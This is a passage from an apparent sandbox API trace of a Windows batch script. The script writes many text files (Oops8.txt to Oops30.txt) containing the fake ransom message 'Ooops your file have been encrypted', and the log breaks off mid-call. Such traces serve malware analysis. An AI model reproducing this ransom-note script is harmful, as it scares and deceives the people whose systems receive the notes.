dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops8.txt\r\n") returned 58 [0038.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0038.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.014] GetFileType (hFile=0x74) returned 0x1 [0038.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0038.014] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=7461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0038.014] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops9.txt\r\n") returned 58 [0038.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0038.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.015] GetFileType (hFile=0x74) returned 0x1 [0038.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d25 [0038.015] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=7520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0038.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops10.txt\r\n#\r\n") returned 59 [0038.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0038.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.015] GetFileType (hFile=0x74) returned 0x1 [0038.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0038.015] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=7579, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0038.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops11.txt\r\n") returned 59 [0038.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.015] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0038.015] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.015] GetFileType (hFile=0x74) returned 0x1 [0038.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9b [0038.016] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=7638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0038.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops12.txt\r\n") returned 59 [0038.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0038.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.016] GetFileType (hFile=0x74) returned 0x1 [0038.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1dd6 [0038.016] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=7697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0038.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops13.txt\r\n") returned 59 [0038.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0038.016] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.016] GetFileType (hFile=0x74) returned 0x1 [0038.016] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0038.017] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=7756, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0038.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops14.txt\r\n") returned 59 [0038.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0038.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.017] GetFileType (hFile=0x74) returned 0x1 [0038.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0038.017] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=7815, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0038.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops15.txt\r\n") returned 59 [0038.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0038.017] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.017] GetFileType (hFile=0x74) returned 0x1 [0038.017] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0038.017] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=7874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0038.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops16.txt\r\n") returned 59 [0038.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0038.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.018] GetFileType (hFile=0x74) returned 0x1 [0038.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0038.018] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=7933, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0038.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops17.txt\r\n") returned 59 [0038.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0038.018] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.018] GetFileType (hFile=0x74) returned 0x1 [0038.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0038.018] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.018] SetFilePointer (in: hFile=0x74, lDistanceToMove=7992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0038.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops18.txt\r\n") returned 59 [0038.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0038.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.019] GetFileType (hFile=0x74) returned 0x1 [0038.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0038.019] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=8051, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0038.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops19.txt\r\n") returned 59 [0038.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0038.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.019] GetFileType (hFile=0x74) returned 0x1 [0038.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0038.019] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.019] SetFilePointer (in: hFile=0x74, lDistanceToMove=8110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0038.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops20.txt\r\n") returned 59 [0038.019] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0038.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.020] GetFileType (hFile=0x74) returned 0x1 [0038.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0038.020] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=8169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0038.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops21.txt\r\n") returned 59 [0038.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0038.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.020] GetFileType (hFile=0x74) returned 0x1 [0038.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0038.020] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=8228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0038.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops22.txt\r\n") returned 59 [0038.020] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.020] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0038.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.021] GetFileType (hFile=0x74) returned 0x1 [0038.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0038.021] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=8287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0038.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops23.txt\r\n") returned 59 [0038.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0038.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.021] GetFileType (hFile=0x74) returned 0x1 [0038.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0038.021] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=8346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0038.021] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops24.txt\r\n") returned 59 [0038.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.021] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0038.021] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.022] GetFileType (hFile=0x74) returned 0x1 [0038.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0038.022] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=8405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0038.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops25.txt\r\n") returned 59 [0038.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0038.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.022] GetFileType (hFile=0x74) returned 0x1 [0038.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0038.022] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=8464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0038.022] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops26.txt\r\n") returned 59 [0038.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0038.022] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.022] GetFileType (hFile=0x74) returned 0x1 [0038.022] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0038.023] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=8523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0038.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops27.txt\r\n") returned 59 [0038.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0038.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.023] GetFileType (hFile=0x74) returned 0x1 [0038.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0038.023] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=8582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0038.023] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops28.txt\r\n") returned 59 [0038.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.023] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0038.023] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.023] GetFileType (hFile=0x74) returned 0x1 [0038.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0038.024] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=8641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0038.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops29.txt\r\n") returned 59 [0038.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0038.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.024] GetFileType (hFile=0x74) returned 0x1 [0038.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0038.024] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=8700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0038.024] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops30.txt\r\n") returned 59 [0038.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0038.024] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.024] GetFileType (hFile=0x74) returned 0x1 [0038.024] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0038.025] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, 